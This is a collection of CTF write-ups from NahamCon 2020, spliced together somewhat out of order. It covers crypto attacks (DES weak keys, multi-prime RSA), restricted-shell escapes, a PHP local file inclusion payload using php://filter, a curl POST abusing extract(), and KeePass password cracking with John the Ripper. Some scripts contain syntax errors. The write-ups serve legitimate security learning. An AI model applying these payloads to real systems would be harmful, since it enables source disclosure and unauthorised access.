had before, for that I wrote the following script which goes through every block in the ciphertext and tries all the possible combinations until the ascii strings decoded from the block are printable (in the range from space \x20 to tilde \x7e):
```python 3import base64from string import printable
cipher = list('zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=')
for i in range(0,len(cipher),4): for j in range(2 ** 4): curr_byte = cipher[i:i+4].copy() string_index = int(i/4*3) for k in range(len(curr_byte)): if j % (2 ** (k + 1)) >= 2 ** k: curr_byte[k] = curr_byte[k].upper() new_cipher = cipher[:i] + curr_byte + cipher[i+4:] max_char = chr(max(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) min_char = chr(min(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) if min_char in printable and max_char in printable: cipher[i:i+4] = curr_byte break print(base64.b64decode(''.join(cipher)))```
and by running this script we get the flag:

**Resources:*** I used this writeup just to discover the cipher although it seems that he solved just it like me with a way better script: https://deut-erium.github.io/WriteUps/nahamconCTF/crypto/Unvreakable%20Vase/* Least common multiple: https://en.wikipedia.org/wiki/Least_common_multiple
## DecemberThis is my December...
Download the file below.\[source.py](assets//files//source.py) [ciphertext](assets//files//ciphertext)
**flag{this_is_all_i_need}**
**Solution:** With the challenge we get the following python 3 script:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('flag.txt', 'rb') as handle: flag = handle.read()
padding_size = len(flag) + (8 - ( len(flag) % 8 ))flag = flag.ljust(padding_size, b'\x00')
with open('key', 'rb') as handle: key = handle.read().strip()
iv = "13371337"des = DES.new(key, DES.MODE_OFB, iv)ct = des.encrypt(flag)
with open('ciphertext','wb') as handle: handle.write(ct)```
and the ciphertext:
```Ö¢oåÇ\"àT?^N?@]XõêiùÔ?1÷U?WETR^DˆžbÿÑ\*á?^V?AAVCç¤nÿÌ?Iô]RTLE[ZDÝ£yÉÃ?/ÍXl]RTWN7```
We can see from the script that it uses DES, DES (Data Encryption Standard) is a type of symmetric cipher that was used in the 80s and the 90s as the standard cipher replaced by AES in the following years, it was invented by IBM with the help of the NSA (yeah that NSA) and in the 90s people have discovered ways to crack the cipher in a matter of hours (22 hours and 15 minutes to be precise).\This cipher also has a lot of weaknesses, one of those are the existence of weak keys, decryption and encryption with this keys have the same effect and so encrypting some data twice with the same weak key is equivalent to decrypting the encryption and the ciphertext is equal to the original plaintext.
we can also notice that the cipher uses OFB mode of operation, in this mode the plaintext is split to blocks of 8 bytes and for each block of plaintext the mode encrypts the encryption of the previous block (in the case of the first block this mode encrypts IV) and xors the new encryption with the plaintext, in a visual representation:
and in a formal representation:
we can now notice the following attribute of using weak keys in this mode of operation:
in other words, for every block in an even position we get that the encryption with a weak key is equal to xorring IV with the plaintext, so the plaintext for block in an even position is equal to the ciphertext xorred with IV, let's try that on our ciphertext, we can do that using the following code:
```python 3from Crypto.Util.strxor import strxor
data = open("ciphertext",'rb').read()IV = "13371337"
print(strxor(data,(IV * len(data))[0:len(data)].encode("utf-8")))```and we get:

it worked!, now we know that our key is a weak key, we can find a list of weak keys to DES on google and bruteforce them until we get a complete text (there are less than 100 weak and semi-weak keys), I listed all the weak keys in the following file:
[weak DES keys](assets//files//keys)
and wrote this script to crack the ciphertext:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('ciphertext','rb') as handle: ct = handle.read()
with open('keys', 'r') as handle: keys = handle.read().replace("\n"," ").split() keys = [ bytes(bytearray.fromhex(key.strip())) for key in keys]
iv = "13371337"for key in keys: des = DES.new(key, DES.MODE_OFB, iv.encode('utf-8')) pt = des.decrypt(ct) if b'flag' in pt: print(pt) print(key)```
and we get the flag:

## RaspberryRaspberries are so tasty. I have to have more than just one!
Download the file below.\[prompt.txt](assets//files//raspberry.txt)
**flag{there_are_a_few_extra_berries_in_this_one}**
**Solution:**: With the challenge we are get a text file, the content of the text file is:
```n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317e = 65537c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681```This is again an RSA cipher, if we try plugging the value of n to a factor database we get the following output:

this is a big amount of factors, this amount is actually okay as RSA is not limited to only 2 factors (but it is really bad practice to use a lot of factors), phi is actually the value of Euler's totient function for n, this value is the number of values smaller than n which don't have common factors with n, and this value is actually equal to multiplication of all the factors reduced by one each (the proof for that is actually very easy and logical), so for decrypting the message I used the following script which is the same as the previous script with a more general phi calculation:
```python 3from Crypto.Util.number import inverse, long_to_bytes
primes = ['2208664111', '2214452749', '2259012491', '2265830453', '2372942981', '2393757139', '2465499073', '2508863309', '2543358889', '2589229021', '2642723827', '2758626487', '2850808189', '2947867051', '2982067987', '3130932919', '3290718047', '3510442297', '3600488797', '3644712913', '3650456981', '3726115171', '3750978137', '3789130951', '3810149963', '3979951739', '4033877203', '4128271747', '4162800959', '4205130337', '4221911101', '4268160257']
e = 65537ct = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317
phi = 1for p in primes: phi *= (int(p) - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```By running this script we get the flag:

**Resources:*** Euler's totient function: https://en.wikipedia.org/wiki/Euler%27s_totient_function
***
# Forensics
## MicrosooftWe have to use Microsoft Word at the office!? Oof...
Download the file below.\[microsooft.docx](assets//files//microsooft.docx)
**flag{oof_is_right_why_gfxdata_though}**
**Solution:** With the challenge we get a docx file, but if we try opening it with Microsoft Word or Libreoffice we get noting interesting:

so we need to inspect the file more, docx files are actually a bunch of xml files contained in a zip file, so if we open the file as a zip file we can look at the content without relying on a document editor:

after a brief inspection I found that there is a filed called foo.txt in the src directory in the zip file:

and the file contains our flag:

## Cow PieEw. Some cow left this for us. It's gross... but something doesn't seem right...
Download the file below.\[manure](assets//files//manure)
**flag{this_flag_says_mooo_what_say_you}**
**Solution:** run strings on manure and grep for the flag
***
# Mobile
## CandroidI think I can, I think I can!
Download the file below.\[candroid.apk](assets//files//candroid.apk)
**flag{4ndr0id_1s_3asy}**
**Solution:** With the challenge we get an apk file, as the previous challenge an apk file is actually a zip file, we can unzip the file and grep for the flag format to get the flag:

## Simple AppHere's a simple Android app. Can you get the flag?
Download the file below.\[candroid.apk](assets//files//simple-app.apk)
**flag{3asY_4ndr0id_r3vers1ng}**
**Solution:** same as previous challenge:

## Ends MeetAre you a true mobile hacker?
Download the file below.
**flag{rev3rsIng_ApKs_l1k3_A_Pr0}**
**Solution:** open the apk file in jadx-gui and get a base64 encoded url in the `MainActivity` and visit the page with useragent `volley/0`
***# Miscellaneous
## VortexWill you find the flag, or get lost in the vortex?
Connect here:\`nc jh2i.com 50017`
**flag{more_text_in_the_vortex}**
**Solution:** With the challenge we are given a server to connect to, if we try connecting we get...

...that...we can redirect the output of the server to a file and view the file, by doing so for a minute more or less and grepping for the flag format we get the flag:

## Fake fileWait... where is the flag?
Connect here:\`nc jh2i.com 50026`
**flag{we_should_have_been_worried_about_u2k_not_y2k}**
**Solution:** We are given a server to connect to with the challenge, when we connect to the server we seemingly have a shell:

seems that there are two files with the name '..' but using regular command like cat on the file won't work I eventually tried to use `grep -r .` to recursively grep the file in the directory, and we get the flag (or we could just get all the flags like this guy https://tildeho.me/leaking-all-flags-in-a-ctf/):

## AlkatrazWe are so restricted here in Alkatraz. Can you help us break out?
Connect here:\`nc jh2i.com 50024`
**flag{congrats_you_just_escaped_alkatraz}**
**Solution:** We are given again a server to connect to, it seems that we have a shell again and that the flag is in our working directory, but we can't use cat or grep to read it:

I eventually got to output the file content to stdout using printf as it is not restricted and using the following command `printf '%s' "$(<flag.txt)"` we get the flag:

## TrappedHelp! I'm trapped!
Connect here:\nc jh2i.com 50019
**flag{you_activated_my_trap_card}**
**Solution:** Trap command is catching every command except trap, set the trap to something else with `trap '<command>' debug`.like `trap 'cat flag.txt' debug` to get flag## AwkwardNo output..? Awk-o-taco.
Connect here:`nc jh2i.com 50025`
**flag{okay_well_this_is_even_more_awkward}**
**Solution:** use grep to find cat all files and grep only to flag format
```python 3import refrom pwn import *from string import printablehost, port = 'jh2i.com', 50025
s = remote(host,port)
name = "flag{"while True: for c in "_" + printable: command = """grep -ro "{}.*"\n """.format(name + c) s.send(command) response = s.recv() return_code = re.findall("[0-9]+",str(response))[0] if int(return_code) == 0: if c != '*' name += c print(name) break else: printf(name + "}") breaks.close()```
***# Scripting
## DinaHelp! I can't make any sense out of what Dina is saying, can you??
Connect with:`nc jh2i.com 50035`
**Post CTF Writeup**\**flag{dina_speaks_in_dna_and_you_do_too}**
**Disclaimer:** I'll start of with a quick disclaimer, even though I ended solving it using frequency analysis and some common sense, I don't think what I did was the intention of the author, and I used the mapping john showed three or four times to validate a character and escape rabbit holes, though I think it can be done without using it at all if you have time, and after validating the first few characters I could easily complete the rest myself.\oh and another thing, the script I wrote is really ugly but it works well, you can use an empty mapping and remove the question types and it will still work, and I strongly recommend trying this yourself.
**Solution:** With the challenge we are given an host and a port to connect to, when we connect the server sends a string which comprises only of A,C,G,T and waits for input, if we give some random input it will respond with another string like the previous:

It seems to be a DNA sequence and if you have basic knowledge in biology you'll know that DNA sequences are interpreted by the ribosomes to proteins, and every sequence of 3 nucleic acids in the DNA or equivalently every 3 letters in the DNA which is called a codon is interpreted to one amino acid in the protein, so we can trying using this type of encoding to get a strings consisting of the letters of each matching amino acid, but it will not work.\we can next try using binary notations for each nucleic acid and decode the binary to ascii characters but this will also not work, after a google search about DNA encoding to English I stumbled upon this writeup https://github.com/ChapeauR0uge/write-ups/tree/master/b00t2root/crypto/genetics where the author uses a mapping from codons to English in order to decode the string, but the mapping didn't seem to help, at this point in the CTF I stopped and moved on to other challenges.\After the CTF and during the debrief that john did I discovered that the last thing I tried was kinda right but the mapping was incorrect, so I tried to find the right mapping on the internet, but I couldn't find it, and so I resorted to the last thing I could think of, to use frequency analysis.
In every alphabet there are characters who appear more than others, for example the letter a appears more than z and e appears more than a, also if we look at all the printable symbols we will also see that the space symbol appears more than e or any other characters, we can also look at the frequency of one word or two words and so on and see the same trend.\We can use that to our advantage, so I started out by finding a list of frequencies for all the printable symbols (https://www.wired.com/2013/08/the-rarity-of-the-ampersand/) and then wrote a small script which connect to the server a number of times (I used 50) and count the occurrences of every codon in the string and in the end lists them in descending order of occurrences (you can see parts of it in the final script), also, in every session the script would try to guess the plaintext using the already mapped codons or the total number of occurrences of the each codons against the list of frequencies of symbols if it was not mapped, I used it to map codons to the space symbol and e, then map to a and t by looking at the ciphertexts and recognizing words (we can easily guess the mapping for a from a one-letter word and the mapping for t and h from a very frequent three letter-word), admittedly I used john script in the debrief to figure out that the first word in every ciphertext, which is a two-letter word without i, n or t, is a number and and colon (I though initially that it was yo or mr), by using letter frequency and word frequency and most importantly common sense I mapped around ten to fifteen codons to characters, but than I hit a roadblock, even though most of the encoded sentence is a readable string like "enter the string" the string in question is a combination of random letters, for example (actually taken from a run):
`send back yirkbmusswnqmhq as a string`
and for that no frequency analysis would have helped, so I turned to what I do best, bruteforcing everything I can.
At this point when I had around ten to fifteen characters mapped so sometimes when the sun and the moon align the random string would be comprised by only mapped letters, and more commonly but still rare enough I'll get that the string comprises only of mapped codons except one, and we can use the response of the server for this kind of strings to eliminate mappings or discover the actual mapping, and so I upped the number of retries of the script would do to 200, and added that in every session the script would try to recognize the question sent by the server and send back the matching string *upper-cased* (yeah that throw me off for a while), I then manually went through the output and tried to eliminate wrong mapping or to see if the script discovered any correct one (actually when I think of it I could have written a script which automatically does that):
```python 3import refrom pwn import remotefrom random import choice
# The predicted mapping of the codonsmapping = {"AAA":'y', "AAC":'q', "AAG":'k', "AAT":'', "ACA":'q', "ACC":'1', "ACG":'s', "ACT":'0', "AGA":'~', "AGC":'', "AGG":'=', "AGT":'j', "ATA":' ', "ATC":'', "ATG":'i', "ATT":'', "CAA":'', "CAC":'', "CAG":'', "CAT":'', "CCA":'b', "CCC":'', "CCG":'w', "CCT":'v', "CGA":'a', "CGC":'h', "CGG":'', "CGT":'', "CTA":'x', "CTC":'', "CTG":'u', "CTT":'z', "GAA":'', "GAC":'', "GAG":'4', "GAT":'.', "GCA":'3', "GCC":'', "GCG":'/', "GCT":':', "GGA":'o', "GGC":'e', "GGG":'', "GGT":'f', "GTA":'', "GTC":'', "GTG":'p', "GTT":'c', "TAA":'', "TAC":'', "TAG":'2', "TAT":'', "TCA":'r', "TCC":'m', "TCG":',', "TCT":'n', "TGA":'', "TGC":'l', "TGG":'', "TGT":'', "TTA":'<', "TTC":'t', "TTG":'d', "TTT":'g'}
# The type of questions dina asks and the position of the string in themquestion_types = {'send the string': 4, 'send the message': 5, 'send this back': 4, 'go ahead and send': 5, 'back to me': 2, 'enter this back': 7, 'please respond with': 4, 'respond with': 3, 'enter the string': 4, 'please send back': 4, 'send back': 3, }
def beautify_data(msg): return str(msg)[2:-3].replace("\\n","")
# frequency analysis stufffrequency = { a: 0 for a in mapping }letter_frequency = list(' etaoinsrhldcumfgpywb,.vk-\"_\'x)(;0j1q=2:z/*!?$35>\{\}49[]867\\+|&<%@#^`~.,')for i in range(len(letter_frequency)): if letter_frequency[i] in mapping.values(): letter_frequency[i] = choice(letter_frequency)letter_frequency = ''.join(letter_frequency)
host, port = 'jh2i.com', 50035for _ in range(200): s = remote(host,port) index = 0 while 1:
# Recieves until a message is sent ciphertext = '' try: while ciphertext == '': ciphertext = beautify_data(s.recv()) except EOFError: s.close() break # Checks if the flag is given if 'flag' in ciphertext: print(ciphertext) exit(0)
# Find the frequency of each codon for frequency analysis for i in range(0,len(ciphertext),3): frequency[ciphertext[i:i+3]] += 1 frequency = {k:frequency[k] for k in sorted(frequency, key= frequency.get, reverse=True)}
# The mapping letters from frequency analysis frequency_letters = [] # The whole plaintext plaintext = [] for i in range(0,len(ciphertext),3): # Checks if the mapping for the codon is known, if not predict a letter otherwise uses the mapping if mapping[ciphertext[i:i+3]] == '': plaintext.append(letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])]) frequency_letters.append((ciphertext[i:i+3],letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])])) else: plaintext.append(mapping[ciphertext[i:i+3]])
plaintext = ''.join(plaintext) if 'nope' in plaintext: break
print(ciphertext) print(plaintext) print(str(index) + ": " + str(frequency_letters))
response = 'random' for q in question_types.keys(): if q in plaintext: response = plaintext.split(" ")[question_types[q]] break
print(response) s.send(response.upper()) index += 1
print(frequency)```and oh boy did it worked, after a little more than an hour I succeeded in finding out a mapping for every used codon and get the flag:

actually the mapping is not spot-on for numbers but because the string only comprises of letters this is not that crucial.
## RottenIck, this salad doesn't taste too good!
Connect with:\`nc jh2i.com 50034`
**flag{now_you_know_your_caesars}**
**Solution:** server response is ceaser cipher encrypted, code:
```python 3from pwn import remoteimport reimport rehost, port = 'jh2i.com', 50034s = remote(host,port)flag = [''] * 32for _ in range(200): question = s.recv() answer = list(str(question)[2:-3]) for i in range(27): for j in range(len(answer)): if ord(answer[j]) >= ord('a') and ord(answer[j]) <= ord('z'): answer[j] = chr((ord(answer[j]) - ord('a') + 1) % ( ord('z') - ord('a') + 1) + ord('a')) plain = ''.join(answer) if 'send back' in plain: break position = re.findall("[0-9]+",plain) if len(position) > 0: flag[int(position[0])] = plain[-2] empty = [i for i in range(len(flag)) if flag[i] == ''] print(''.join(flag), end='\r\n') s.send(plain)s.close()```
## Really powerful GnomesOnly YOU can save the village!
Connect with:`nc jh2i.com 50031`
**flag{it_was_in_fact_you_that_was_really_powerful}**
**Solution:** Automate going on adventure and buying weapons:
```python 3from pwn import *import reprices = [1000,2000,10000,100000,10000]gold = 0def beautify_data(msg): return str(msg)[2:-1].replace("\\n","\n")host, port = 'jh2i.com', 50031s = remote(host,port)for i in range(5): response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) s.send("6\n{}\n".format(i + 1)) while int(gold) < prices[i]: response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) gold = re.findall("[0-9]+",response)[1] print("gold: " + gold) s.send("{}\n".format(5 - i))s.send("1\n")if "flag" in response: print(re.findall("flag{.*?}",response)[0])s.interactive()s.close()```
***
# Web
## Agent 95They've given you a number, and taken away your name~
Connect here:\http://jh2i.com:50000
**flag{user_agents_undercover}**
**Solution:** Change User agent to Windows 95
## LocalghostBooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??
Connect here:\http://jh2i.com:50003
**JCTF{spoooooky_ghosts_in_storage}**
**Solution:** In JavaScript code for jquerty.jscroll2 after beautifying, flag variable contains flag in bytes
## PhphonebookRing ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!
Connect here:\http://jh2i.com:50002
**flag{phon3_numb3r_3xtr4ct3d}**
**Solution:** With the challenge we are given a website with the following index page:

so the site tells us that the php source for the page accepts parameters...oooh we might have LFI (local file inclusion), php allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage, php scripts stay in the server-side and should not be revealed to the client-side as it may contain sensitive data (and there is no use to it in the client-side), if we want to leak the php files we'll need to encode or encrypt the data as the LFI vulnerable php code will read the file as code and execute it, we can do such things using the php://filter wrapper, using this wrapper in the following way will leak the php source code for index page:
`http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=index.php`
and by going to this url we get the file base64 encoded:

```PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CiAgPGJvZHk+Cgk8P3BocAoJCSRmaWxlPSRfR0VUWydmaWxlJ107CgkJaWYoIWlzc2V0KCRmaWxlKSkKCQl7CgkJCWVjaG8gIlNvcnJ5ISBZb3UgYXJlIGluIC9pbmRleC5waHAvP2ZpbGU9IjsKCQl9IGVsc2UKCQl7CgkJCWluY2x1ZGUoc3RyX3JlcGxhY2UoJy5waHAnLCcnLCRfR0VUWydmaWxlJ10pLiIucGhwIik7CgkJCWRpZSgpOwoJCX0KCT8+CgkgIAk8cD5UaGUgcGhvbmVib29rIGlzIGxvY2F0ZWQgYXQgPGNvZGU+cGhwaG9uZWJvb2sucGhwPC9jb2RlPjwvcD4KCjxkaXYgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyBib3R0b206MSU7IGxlZnQ6MSU7Ij4KPGJyPjxicj48YnI+PGJyPgo8Yj4gTk9UIENIQUxMRU5HRSBSRUxBVEVEOjwvYj48YnI+VEhBTksgWU9VIHRvIElOVElHUklUSSBmb3Igc3VwcG9ydGluZyBOYWhhbUNvbiBhbmQgTmFoYW1Db24gQ1RGIQo8cD4KPGltZyB3aWR0aD02MDBweCBzcmM9Imh0dHBzOi8vZDI0d3VxNm85NTFpMmcuY2xvdWRmcm9udC5uZXQvaW1nL2V2ZW50cy9pZC80NTcvNDU3NzQ4MTIxL2Fzc2V0cy9mN2RhMGQ3MThlYjc3YzgzZjVjYjYyMjFhMDZhMmY0NS5pbnRpLnBuZyI+CjwvcD4KPC9kaXY+CgogIDwvYm9keT4KIDwvaHRtbD4=```and decoding this from base64 gives us the code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body> The phonebook is located at phphonebook.php
The phonebook is located at phphonebook.php
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```
we can now tell by this line `include(str_replace('.php','',$_GET['file']).".php");` that we only leak php files as the code removes the php extension from the file given as input (if there is one) and then appends a php extension to it, I think that there are ways to go around this but it is not important for this challenge, doing the same for phphonebook.php gives us this code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head>
<body class="bg"> <h1 id="header"> Welcome to the Phphonebook </h1>
<div id="im_container">
This phphonebook was made to look up all sorts of numbers! Have fun...
This phphonebook was made to look up all sorts of numbers! Have fun...
</div> <div> <form method="POST" action="#"> <label id="form_label">Enter number: </label> <input type="text" name="number"> <input type="submit" value="Submit"> </form> </div>
<div id="php_container"> </div>
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```by the end of the code there is a php segment where the method extract is used on $\_POST and then there is a check if $emergency is set, if so the code echoes the content of a file called flag.txt.\this is really interesting, I'll explain the gist of it mainly because I'm not so strong at php, the $_POST is the array of variables passed to the script when an HTTP POST request is sent to it (we commonly use 2 type of HTTP request, POST and GET, where GET asks from the server to return some resource for example the source for a page, and POST also sends variables to a file in the server in the request body), the extract method extracts the variables from the array, the extracted variable name is set to the name passed in the HTTP request and the value is set to the corresponding value, the isset method just checks if there is a variable with this name, by all this we can infer that we need to send a POST request to the server with a variable named emergency which has some arbitrary value in order to get the server to print the flag, we can do so using curl or using a proxy like burp suite like I will show first, we need to set burp suite as our proxy and send a post request to the server, we can do such that using the submit button in the phphonebook page:

burp suite catches the request and allows us to edit it:

we now only need to add an emergency variable and we get the flag:


with curl we can simply use the following command `curl -X POST --data "emergency=1" http://jh2i.com:50002/phphonebook.php` and by using that and grepping for the flag format we can easily get the flag:

**Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* HTTP request methods: https://www.w3schools.com/tags/ref_httpmethods.asp* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion |
For this challenge, the clue was nameserver. Get into interactive nslookup then set the type to any then search the domain for the flag.
```root@kali:~/Downloads# nslookup> set type=any> jh2i.comServer: 10.0.2.3Address: 10.0.2.3#53
Non-authoritative answer:Name: jh2i.comAddress: 161.35.252.71jh2i.com nameserver = ns-cloud-a1.googledomains.com.jh2i.com nameserver = ns-cloud-a2.googledomains.com.jh2i.com nameserver = ns-cloud-a3.googledomains.com.jh2i.com nameserver = ns-cloud-a4.googledomains.com.jh2i.com origin = ns-cloud-a1.googledomains.com mail addr = cloud-dns-hostmaster.google.com serial = 48 refresh = 21600 retry = 3600 expire = 259200 minimum = 300jh2i.com rdata_99 = "flag{next_year_i_wont_use_spf}"
Authoritative answers can be found from:>``` |
# **NahamCon CTF 2020**
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
